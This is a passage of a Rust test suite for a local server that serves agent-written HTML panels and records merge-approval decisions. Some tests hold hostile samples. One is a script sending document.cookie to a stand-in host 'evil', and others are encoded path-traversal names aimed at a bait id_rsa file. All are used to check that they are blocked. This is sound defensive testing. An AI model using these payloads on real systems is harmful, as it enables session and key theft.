11096 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11097 Box::pin(async move {
11098 Err(anyhow::anyhow!(if first {
11099 "publish the daemon status file: read-only file system"
11100 } else {
11101 "the restarted stand-in failed as well"
11102 }))
11103 })
11104 }
11105
11106 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11115 for _ in 0..SETTLE_STEPS {
11116 let view = fx.get("/api/loop").await.json();
11117 if want(&view) {
11118 return view;
11119 }
11120 tokio::time::sleep(Duration::from_millis(10)).await;
11121 }
11122 panic!(
11123 "the loop never settled: {}",
11124 fx.get("/api/loop").await.json()
11125 );
11126 }
11127
11128 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11130 let store = fx.questions();
11131 let mut q = Question::new(
11132 "20260902-000000-beef".to_owned(),
11133 "implement".to_owned(),
11134 "impl-A".to_owned(),
11135 summary.to_owned(),
11136 "because it matters".to_owned(),
11137 choices.iter().map(|c| (*c).to_owned()).collect(),
11138 );
11139 store.put(&mut q).expect("put question");
11140 q.id
11141 }
11142
11143 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11149 let store = fx.questions();
11150 let mut q = Question::new(
11151 "20260902-000000-beef".to_owned(),
11152 "land".to_owned(),
11153 "fix".to_owned(),
11154 "Merge this?".to_owned(),
11155 "the diff is in the panel".to_owned(),
11156 vec!["merge".to_owned(), "hold".to_owned()],
11157 );
11158 let staging = fx.home.path().join("staging");
11161 std::fs::create_dir_all(&staging).expect("staging dir");
11162 let sources: Vec<PathBuf> = assets
11163 .iter()
11164 .map(|(name, bytes)| {
11165 let path = staging.join(name);
11166 std::fs::write(&path, bytes).expect("write staged asset");
11167 path
11168 })
11169 .collect();
11170 store
11171 .put_panel(&mut q, html, &sources)
11172 .expect("write the panel");
11173 store.put(&mut q).expect("put question");
11174 q.id
11175 }
11176
11177 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11186 seed_talk_at(&fx.talks(), id, status)
11187 }
11188
11189 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11190 std::fs::create_dir_all(store.root()).expect("talks dir");
11191 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11192 .expect("serialize a seat");
11193 let body = serde_json::json!({
11194 "schema": 1,
11195 "id": id,
11196 "repo": "/repo/magi",
11197 "agent": "mock",
11198 "status": status,
11199 "turns": [],
11200 "created_at": Timestamp::now().to_string(),
11201 "updated_at": Timestamp::now().to_string(),
11202 "seat": seat,
11203 });
11204 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11205 store.get(id).expect("the seeded talk has to be readable");
11206 id.to_owned()
11207 }
11208
11209 #[tokio::test]
11210 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11211 let fx = Fixture::start().await;
11212 let id = panel(
11213 &fx,
11214 "<h1>Merge?</h1><img src=\"diff.svg\">",
11215 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11216 );
11217
11218 for path in [
11219 format!("/api/questions/{id}/panel"),
11220 format!("/api/questions/{id}/asset/diff.svg"),
11221 ] {
11222 let res = fx.get(&path).await;
11223 assert_eq!(res.status, 200, "{path}: {}", res.body);
11224 assert_eq!(
11230 res.header("content-security-policy"),
11231 Some(
11232 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11233 font-src data:; base-uri 'none'; form-action 'none'; \
11234 frame-ancestors 'self'"
11235 ),
11236 "{path} is the only thing between a hostile panel and the tailnet"
11237 );
11238 assert_eq!(
11239 res.header("x-content-type-options"),
11240 Some("nosniff"),
11241 "{path}: a browser must not re-decide the type we sent"
11242 );
11243 assert_eq!(
11244 res.header("referrer-policy"),
11245 Some("no-referrer"),
11246 "{path}: a panel must not leak the question id off the machine"
11247 );
11248
11249 let pre = fx.head(&path).await;
11254 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11255 assert_eq!(
11256 pre.header("content-security-policy"),
11257 res.header("content-security-policy"),
11258 "{path}: the preflight carries the same policy"
11259 );
11260 assert_eq!(
11261 pre.header("content-type"),
11262 res.header("content-type"),
11263 "{path}: the preflight carries the same type"
11264 );
11265 }
11266 }
11267
11268 #[tokio::test]
11269 async fn a_panel_reaches_the_browser_byte_for_byte() {
11270 let fx = Fixture::start().await;
11271 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11276 let id = panel(&fx, html, &[]);
11277
11278 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11279
11280 assert_eq!(res.status, 200);
11281 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11282 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11283 assert_eq!(
11284 res.header("content-disposition"),
11285 None,
11286 "the panel itself is rendered in the frame, not downloaded"
11287 );
11288 }
11289
11290 #[tokio::test]
11291 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11292 let fx = Fixture::start().await;
11293 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11294 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11295 let id = panel(
11296 &fx,
11297 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11298 &[("diff.svg", svg), ("shot.png", png)],
11299 );
11300
11301 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11302 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11303
11304 assert_eq!(as_svg.status, 200);
11305 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11306 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11311
11312 assert_eq!(as_png.status, 200);
11313 assert_eq!(as_png.header("content-type"), Some("image/png"));
11314 assert_eq!(
11315 as_png.header("content-disposition"),
11316 None,
11317 "a raster image has no execution surface, so tapping it still shows it"
11318 );
11319 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11320 }
11321
11322 #[tokio::test]
11323 async fn an_html_asset_is_never_served_as_html() {
11324 let fx = Fixture::start().await;
11325 let id = panel(
11326 &fx,
11327 "<p>see the notes</p>",
11328 &[
11329 (
11330 "notes.html",
11331 b"<script>fetch('http://evil/'+document.cookie)</script>",
11332 ),
11333 ("hook.js", b"fetch('http://evil/')"),
11334 ("data.json", b"{}"),
11335 ("HEADLINE.TXT", b"plain"),
11336 ],
11337 );
11338
11339 for name in ["notes.html", "hook.js", "data.json"] {
11340 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11341 assert_eq!(res.status, 200, "{name}: {}", res.body);
11342 assert_eq!(
11347 res.header("content-type"),
11348 Some("application/octet-stream"),
11349 "{name} must not be a type the browser will execute or render"
11350 );
11351 }
11352 let txt = fx
11355 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11356 .await;
11357 assert_eq!(
11358 txt.header("content-type"),
11359 Some("text/plain; charset=utf-8")
11360 );
11361 }
11362
11363 #[tokio::test]
11364 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11365 let fx = Fixture::start().await;
11366 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11367 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11371
11372 for encoded in [
11379 "%2e%2e%2fid_rsa",
11380 "..%2fid_rsa",
11381 "..%5cid_rsa",
11382 "%2e%2e%5cid_rsa",
11383 "diff%00.svg",
11384 "..",
11385 ".hidden",
11386 "%2e%2e%2f%2e%2e%2fid_rsa",
11387 ] {
11388 let res = fx
11389 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11390 .await;
11391 assert_eq!(
11392 res.status, 400,
11393 "`{encoded}` has to be refused by name, not looked up: {}",
11394 res.body
11395 );
11396 assert!(res.json()["error"].is_string(), "{}", res.body);
11397 }
11398
11399 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11405 let res = fx
11406 .get(&format!("/api/questions/{id}/asset/{literal}"))
11407 .await;
11408 assert_eq!(
11409 res.status, 404,
11410 "`{literal}` must not match the asset route at all: {}",
11411 res.body
11412 );
11413 }
11414 }
11415
11416 #[tokio::test]
11417 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11418 let fx = Fixture::start().await;
11419 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11420 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11421
11422 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11426 assert_eq!(none.status, 404, "{}", none.body);
11427 assert!(none.json()["error"].is_string(), "{}", none.body);
11428 assert_eq!(
11429 fx.head(&format!("/api/questions/{plain}/panel"))
11430 .await
11431 .status,
11432 404,
11433 "the preflight is the only way the client can learn this"
11434 );
11435
11436 let missing = fx
11438 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11439 .await;
11440 assert_eq!(missing.status, 404, "{}", missing.body);
11441 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11442
11443 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11445 assert_eq!(
11446 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11447 404
11448 );
11449 }
11450
11451 #[tokio::test]
11452 async fn a_run_with_an_open_question_reads_as_waiting() {
11453 let fx = Fixture::start().await;
11454 let run = "20260902-000000-beef".to_owned();
11455 write_run(&fx.runs(), &run, RunStatus::Implementing);
11456
11457 let before = fx.get("/api/runs").await.json();
11458 assert_eq!(before[0]["waiting"], false, "{before}");
11459
11460 let store = fx.questions();
11461 let mut q = Question::new(
11462 run.clone(),
11463 "implement".to_owned(),
11464 "impl-A".to_owned(),
11465 "Which backend?".to_owned(),
11466 String::new(),
11467 vec!["SQLite".to_owned()],
11468 );
11469 store.put(&mut q).expect("put");
11470
11471 let during = fx.get("/api/runs").await.json();
11472 assert_eq!(during[0]["waiting"], true, "{during}");
11473
11474 q.answer(Answer::Choice("SQLite".to_owned()))
11477 .expect("answer");
11478 store.put(&mut q).expect("put");
11479 let after = fx.get("/api/runs").await.json();
11480 assert_eq!(after[0]["waiting"], false, "{after}");
11481 }
11482
11483 #[tokio::test]
11484 async fn an_open_question_is_listed_and_counted_by_health() {
11485 let fx = Fixture::start().await;
11486 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11487
11488 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11489 let listed = fx.get("/api/questions").await.json();
11490 assert_eq!(listed.as_array().expect("array").len(), 1);
11491 assert_eq!(listed[0]["id"], id);
11492 assert_eq!(listed[0]["status"], "open");
11493 assert_eq!(listed[0]["choices"][1], "Redis");
11494 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11497 }
11498
11499 fn obsolete_approval_state() -> RunState {
11500 let mut state = crate::land::tests::repair_state(true, true);
11501 state.pr = Some(crate::run::PrRecord {
11502 url: "https://github.com/example/repo/pull/42".into(),
11503 number: 42,
11504 state: "open".into(),
11505 checks: "green".into(),
11506 round: 1,
11507 rounds: 4,
11508 red_at_merge: Vec::new(),
11509 });
11510 state
11511 }
11512
11513 #[tokio::test]
11514 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11515 for owner in ["missing", "current", "completed", "later"] {
11516 let fx = Fixture {
11517 home: TempDir::new().unwrap(),
11518 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11519 };
11520 let mut state = obsolete_approval_state();
11521 state.status = RunStatus::Landing;
11522 state.parked = true;
11523 state.driver_exited = true;
11524 let mut q = Question::new(
11525 state.id.clone(),
11526 crate::land::APPROVAL_NODE.into(),
11527 "land".into(),
11528 "Old approval".into(),
11529 "Original evidence".into(),
11530 vec!["merge".into(), "hold".into()],
11531 );
11532 state.land_approval = Some(crate::run::LandApproval {
11533 question: q.id.clone(),
11534 head: "head".into(),
11535 });
11536 state.save_under(fx.home.path()).unwrap();
11537 let stale = state.clone();
11538 fx.questions().put(&mut q).unwrap();
11539 let mut task = Task::new(
11540 "Owner".into(),
11541 "Original instruction".into(),
11542 state.repo.clone(),
11543 Source::Human,
11544 );
11545 task.runs.push(state.id.clone());
11546 task.status = if owner == "completed" {
11547 TaskStatus::Done
11548 } else {
11549 TaskStatus::Parked
11550 };
11551 if owner == "later" {
11552 task.runs.push("later-run".into());
11553 }
11554 if owner != "missing" {
11555 fx.queue().put(&mut task).unwrap();
11556 }
11557 let ui = Arc::new(Ui::new(
11558 fx.queue(),
11559 fx.questions(),
11560 fx.talks(),
11561 fx.runs(),
11562 fx.home.path().into(),
11563 state.repo.clone(),
11564 ));
11565 let response = question_answer(
11566 State(ui),
11567 Path(q.id.clone()),
11568 Ok(Json(NewAnswer {
11569 choice: Some(crate::merge_decision::DISMISS.into()),
11570 text: None,
11571 ..Default::default()
11572 })),
11573 )
11574 .await
11575 .unwrap();
11576 assert_eq!(
11577 response.0.question.resolution().as_deref(),
11578 Some(crate::merge_decision::DISMISS)
11579 );
11580 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11581 assert_eq!(disk.status, RunStatus::Superseded);
11582 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11583 assert!(!crate::merge_decision::resumable_hold(&disk));
11584 assert_eq!(
11585 serde_json::to_value(&disk.pr).unwrap(),
11586 serde_json::to_value(&stale.pr).unwrap()
11587 );
11588 assert_eq!(fx.questions().count_open(), 0);
11589 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11590 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11591 if owner == "missing" {
11592 assert!(fx.queue().list().is_empty());
11593 } else {
11594 let after = fx.queue().get(&task.id).unwrap();
11595 assert_eq!(
11596 after.status,
11597 if owner == "current" {
11598 TaskStatus::Done
11599 } else {
11600 task.status
11601 }
11602 );
11603 assert_eq!(after.runs, task.runs);
11604 assert_eq!(after.instruction, task.instruction);
11605 assert_eq!(after.action_applied(&q.id), owner == "current");
11606 }
11607 }
11608 }
11609
11610 #[tokio::test]
11611 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11612 let fx = Fixture::start().await;
11613 let mut state = obsolete_approval_state();
11614 state.status = RunStatus::Landing;
11615 state.parked = true;
11616 state.driver_exited = true;
11617 let mut q = Question::new(
11618 state.id.clone(),
11619 crate::land::APPROVAL_NODE.into(),
11620 "land".into(),
11621 "Superseded PR approval".into(),
11622 "Original review evidence".into(),
11623 vec!["merge".into(), "hold".into()],
11624 );
11625 state.land_approval = Some(crate::run::LandApproval {
11626 question: q.id.clone(),
11627 head: "old-reviewed-head".into(),
11628 });
11629 state.save_under(fx.home.path()).unwrap();
11632 let stale_driver = state.clone();
11633 fx.questions().put(&mut q).unwrap();
11634 let path = fx
11635 .home
11636 .path()
11637 .join("questions")
11638 .join(format!("{}.json", q.id));
11639 let mut legacy = serde_json::to_value(&q).unwrap();
11640 legacy["schema"] = 9.into();
11641 legacy.as_object_mut().unwrap().remove("merge_target");
11642 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11643
11644 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11647 let answer_path = format!("/api/questions/{}/answer", q.id);
11648 let res = fx.post(&answer_path, Some(&body)).await;
11649 assert_eq!(res.status, 200, "{}", res.body);
11650 let disk = fx.questions().get(&q.id).unwrap();
11651 assert_eq!(
11652 disk.resolution().as_deref(),
11653 Some(crate::merge_decision::DISMISS)
11654 );
11655 assert!(disk.detail.starts_with("Original review evidence"));
11656 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11657 assert_eq!(retired.status, RunStatus::Superseded);
11658 assert_eq!(
11659 serde_json::to_value(&retired.pr).unwrap(),
11660 serde_json::to_value(&state.pr).unwrap()
11661 );
11662 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11663 assert!(!crate::merge_decision::resumable_hold(&retired));
11664 assert!(fx.queue().list().is_empty());
11665 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11666 let addr = Fixture::serve(
11668 fx.home.path(),
11669 PathBuf::from("/repo/magi"),
11670 launch_idle,
11671 None,
11672 )
11673 .await;
11674 let reconnected = Fixture {
11675 home: fx.home,
11676 addr,
11677 };
11678 let listed = reconnected.get("/api/questions").await.json();
11679 assert!(
11680 listed
11681 .as_array()
11682 .unwrap()
11683 .iter()
11684 .all(|q| q["status"] != "open")
11685 );
11686 assert_eq!(listed[0]["id"], q.id, "history remains available");
11687 assert_eq!(
11688 reconnected.get("/api/health").await.json()["questions_open"],
11689 0
11690 );
11691 assert_eq!(
11692 reconnected
11693 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11694 .await
11695 .status,
11696 409
11697 );
11698 assert!(
11700 reconnected
11701 .questions()
11702 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11703 .is_err()
11704 );
11705 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11708 }
11709
11710 #[tokio::test]
11711 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11712 let fx = Fixture::start().await;
11713 let mut state = obsolete_approval_state();
11714 state.status = RunStatus::Landing;
11715 state.driver_exited = true;
11716 let mut q = Question::new(
11717 state.id.clone(),
11718 crate::land::APPROVAL_NODE.into(),
11719 "land".into(),
11720 "Obsolete approval".into(),
11721 String::new(),
11722 vec!["merge".into(), "hold".into()],
11723 );
11724 state.land_approval = Some(crate::run::LandApproval {
11725 question: q.id.clone(),
11726 head: "head".into(),
11727 });
11728 state.save_under(fx.home.path()).unwrap();
11729 fx.questions().put(&mut q).unwrap();
11730 let mut task = Task::new(
11731 "Owner".into(),
11732 "Original instruction".into(),
11733 state.repo.clone(),
11734 Source::Human,
11735 );
11736 task.runs = vec![state.id.clone(), "later-run".into()];
11737 fx.queue().put(&mut task).unwrap();
11738 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11739 let claim = fx.queue().claim(&task.id).unwrap();
11740 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11741 let path = format!("/api/questions/{}/answer", q.id);
11742 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11743 assert!(fx.questions().get(&q.id).unwrap().status.open());
11744 drop(claim);
11745 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11746 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11747 assert!(fx.questions().get(&q.id).unwrap().status.open());
11748 drop(publication);
11749 state.driver_exited = false;
11751 state.driver_pid = None;
11752 state.save_under(fx.home.path()).unwrap();
11753 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11754 state.driver_exited = true;
11755 state.land_armed_head = Some("head".into());
11756 state.save_under(fx.home.path()).unwrap();
11757 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11758 state.land_armed_head = None;
11759 state.save_under(fx.home.path()).unwrap();
11760 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11761 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11762 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11763 }
11764
11765 #[tokio::test]
11766 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11767 let fx = Fixture::start().await;
11768 let mut state = obsolete_approval_state();
11769 state.status = RunStatus::Landing;
11770 state.driver_exited = true;
11771 let mut q = Question::new(
11772 state.id.clone(),
11773 crate::land::APPROVAL_NODE.into(),
11774 "land".into(),
11775 "Obsolete approval".into(),
11776 String::new(),
11777 vec!["merge".into(), "hold".into()],
11778 );
11779 state.land_approval = Some(crate::run::LandApproval {
11780 question: q.id.clone(),
11781 head: "head".into(),
11782 });
11783 state.save_under(fx.home.path()).unwrap();
11784 fx.questions().put(&mut q).unwrap();
11785 let mut task = Task::new(
11786 "Owner".into(),
11787 "Original instruction".into(),
11788 state.repo.clone(),
11789 Source::Human,
11790 );
11791 task.runs.push(state.id.clone());
11792 task.status = TaskStatus::Parked;
11793 fx.queue().put(&mut task).unwrap();
11794 state.merge_decision = Some(crate::merge_decision::Decision {
11797 question: q.id.clone(),
11798 target: crate::merge_decision::Target {
11799 pr: state.pr.as_ref().unwrap().url.clone(),
11800 head: "head".into(),
11801 language: "ja".into(),
11802 },
11803 choice: crate::merge_decision::DISMISS.into(),
11804 closed: false,
11805 replacement_run: None,
11806 replacement_pr: None,
11807 });
11808 state.status = RunStatus::Superseded;
11809 state.save_under(fx.home.path()).unwrap();
11810 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11811 let path = format!("/api/questions/{}/answer", q.id);
11812 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11813 let done = fx.queue().get(&task.id).unwrap();
11814 assert_eq!(done.status, TaskStatus::Done);
11815 assert_eq!(done.runs, task.runs);
11816 assert_eq!(done.instruction, task.instruction);
11817 assert!(done.action_applied(&q.id));
11818 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11819 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11820 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11821 }
11822
11823 #[tokio::test]
11824 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11825 let home = TempDir::new().unwrap();
11826 let ui = Arc::new(Ui::new(
11827 Queue::at(home.path().join("queue")),
11828 Questions::at(home.path().join("questions")),
11829 Talks::at(home.path().join("talks")),
11830 home.path().join("runs"),
11831 home.path().to_owned(),
11832 home.path().to_owned(),
11833 ));
11834 let talks = &ui.talks;
11835 let chat =
11836 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11837 let mut q = Question::new(
11838 "run".into(),
11839 crate::land::APPROVAL_NODE.into(),
11840 "land".into(),
11841 "Merge?".into(),
11842 String::new(),
11843 vec!["merge".into(), "hold".into()],
11844 );
11845 q.routed_task = Some("task".into());
11846 q.routed_chat = Some(chat.id.clone());
11847 q.merge_target = Some(crate::merge_decision::Target {
11848 pr: "https://example.test/pull/1".into(),
11849 head: "head-a".into(),
11850 language: "en".into(),
11851 });
11852 ui.questions.put(&mut q).unwrap();
11853 let send = |body| {
11854 question_answer(
11855 State(ui.clone()),
11856 Path(q.id.clone()),
11857 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11858 )
11859 };
11860 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11861 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11862 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11863 assert!(send(wrong_chat).await.is_err());
11864 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11865 assert!(send(stale).await.is_err());
11866 assert!(ui.questions.get(&q.id).unwrap().status.open());
11867 assert!(send(button.clone()).await.is_ok());
11868 assert_eq!(
11869 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11870 Some("merge")
11871 );
11872 assert!(send(button).await.is_err());
11873 }
11874
11875 #[tokio::test]
11876 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11877 let home = TempDir::new().unwrap();
11878 let ui = Arc::new(Ui::new(
11879 Queue::at(home.path().join("queue")),
11880 Questions::at(home.path().join("questions")),
11881 Talks::at(home.path().join("talks")),
11882 home.path().join("runs"),
11883 home.path().to_owned(),
11884 home.path().to_owned(),
11885 ));
11886 for choice in [crate::land::APPROVE, crate::land::HOLD] {
11887 let mut q = Question::new(
11888 "run".into(),
11889 crate::land::APPROVAL_NODE.into(),
11890 "land".into(),
11891 "Merge?".into(),
11892 String::new(),
11893 vec!["merge".into(), choice.into()],
11894 );
11895 q.routed_task = Some("task".into());
11896 q.merge_target = Some(crate::merge_decision::Target {
11897 pr: "https://example.test/pull/1".into(),
11898 head: "head-a".into(),
11899 language: "en".into(),
11900 });
11901 ui.questions.put(&mut q).unwrap();
11902 let answer = |c: &str| {
11903 question_answer(
11904 State(ui.clone()),
11905 Path(q.id.clone()),
11906 Ok(Json(
11907 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11908 .unwrap(),
11909 )),
11910 )
11911 };
11912 let _ = answer(choice).await.unwrap();
11913 assert_eq!(
11914 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11915 Some(choice)
11916 );
11917 }
11918 }
11919
11920 #[tokio::test]
11921 async fn a_routed_decision_is_refused_on_the_question_route() {
11922 let home = TempDir::new().unwrap();
11923 let ui = Arc::new(Ui::new(
11924 Queue::at(home.path().join("queue")),
11925 Questions::at(home.path().join("questions")),
11926 Talks::at(home.path().join("talks")),
11927 home.path().join("runs"),
11928 home.path().to_owned(),
11929 home.path().to_owned(),
11930 ));
11931 let mut q = Question::new(
11932 "run".into(),
11933 crate::github_text::ASK_NODE.into(),
11934 "posting-gate".into(),
11935 "Post?".into(),
11936 String::new(),
11937 vec!["use fallback".into()],
11938 );
11939 q.routed_task = Some("task".into());
11940 ui.questions.put(&mut q).unwrap();
11941 let sent = question_answer(
11942 State(ui.clone()),
11943 Path(q.id.clone()),
11944 Ok(Json(
11945 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11946 .unwrap(),
11947 )),
11948 )
11949 .await;
11950 assert!(sent.is_err());
11951 assert!(ui.questions.get(&q.id).unwrap().status.open());
11952 }
11953
11954 #[tokio::test]
11955 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11956 let fx = Fixture {
11957 home: TempDir::new().unwrap(),
11958 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11959 };
11960 for choice in [
11961 crate::land::HOLD,
11962 crate::land::REPAIR,
11963 crate::land::APPROVE,
11964 crate::merge_decision::WITHDRAW,
11965 "reimplement:beta",
11966 ] {
11967 let mut q = Question::new(
11968 "old-run".into(),
11969 crate::land::APPROVAL_NODE.into(),
11970 "land".into(),
11971 "Decision".into(),
11972 "Review findings".into(),
11973 vec![
11974 "merge".into(),
11975 "hold".into(),
11976 crate::land::REPAIR.into(),
11977 crate::merge_decision::WITHDRAW.into(),
11978 "reimplement:beta".into(),
11979 ],
11980 );
11981 q.merge_target = Some(crate::merge_decision::Target {
11982 pr: "https://github.com/example/repo/pull/42".into(),
11983 head: "exact-reviewed-head".into(),
11984 language: "ja".into(),
11985 });
11986 q.consult = Some(ask::ChatConsult {
11987 talk: "another-conversation".into(),
11988 at: jiff::Timestamp::now(),
11989 });
11990 fx.questions().put(&mut q).unwrap();
11991 let ui = Arc::new(Ui::new(
11992 fx.queue(),
11993 fx.questions(),
11994 fx.talks(),
11995 fx.runs(),
11996 fx.home.path().into(),
11997 std::path::PathBuf::from("."),
11998 ));
11999 let response = question_answer(
12000 State(ui.clone()),
12001 Path(q.id.clone()),
12002 Ok(Json(NewAnswer {
12003 choice: Some(choice.into()),
12004 text: None,
12005 ..Default::default()
12006 })),
12007 )
12008 .await
12009 .unwrap();
12010 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12011 let disk = fx.questions().get(&q.id).unwrap();
12012 assert_eq!(disk.merge_target, q.merge_target);
12013 assert_eq!(disk.consult, q.consult);
12014 assert!(
12015 disk.answer_authority.is_none(),
12016 "a direct owner card is its own decision"
12017 );
12018 assert_eq!(disk.resolution().as_deref(), Some(choice));
12019 assert!(
12020 question_answer(
12021 State(ui),
12022 Path(q.id.clone()),
12023 Ok(Json(NewAnswer {
12024 choice: Some("merge".into()),
12025 text: None,
12026 ..Default::default()
12027 }))
12028 )
12029 .await
12030 .is_err(),
12031 "an already settled decision cannot turn into merge approval"
12032 );
12033 }
12034 }
12035
12036 #[tokio::test]
12037 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12038 let fx = Fixture {
12039 home: TempDir::new().unwrap(),
12040 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12041 };
12042 let mut state = crate::land::tests::repair_state(true, true);
12043 state.status = RunStatus::Landing;
12044 state.parked = true;
12045 state.driver_exited = true;
12046 let mut task = Task::new(
12047 "Existing PR owner".into(),
12048 state.instruction.clone(),
12049 state.repo.clone(),
12050 Source::Human,
12051 );
12052 task.runs.push(state.id.clone());
12053 task.status = TaskStatus::Parked;
12054 fx.queue().put(&mut task).unwrap();
12055 let mut q = Question::new(
12056 state.id.clone(),
12057 crate::land::APPROVAL_NODE.into(),
12058 "land".into(),
12059 "Contested merge".into(),
12060 "Original evidence".into(),
12061 vec!["merge".into(), "hold".into()],
12062 );
12063 state.land_approval = Some(crate::run::LandApproval {
12064 question: q.id.clone(),
12065 head: "reviewed-head".into(),
12066 });
12067 state.save_under(fx.home.path()).unwrap();
12068 fx.questions().put(&mut q).unwrap();
12069 task.hold_manual(Some("Pause this PR".into()));
12071 fx.queue().put(&mut task).unwrap();
12072 let ui = Arc::new(Ui::new(
12075 fx.queue(),
12076 fx.questions(),
12077 fx.talks(),
12078 fx.runs(),
12079 fx.home.path().to_path_buf(),
12080 state.repo.clone(),
12081 ));
12082 let response = question_answer(
12083 State(ui),
12084 Path(q.id.clone()),
12085 Ok(Json(NewAnswer {
12086 choice: Some(crate::land::REPAIR.into()),
12087 text: None,
12088 ..Default::default()
12089 })),
12090 )
12091 .await
12092 .unwrap();
12093 assert_eq!(response.0.question.id, q.id);
12094 let upgraded = fx.questions().get(&q.id).unwrap();
12095 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12096 assert!(upgraded.detail.starts_with("Original evidence"));
12097 let claim = fx.queue().claim(&task.id).unwrap();
12098 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12099 assert!(
12100 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
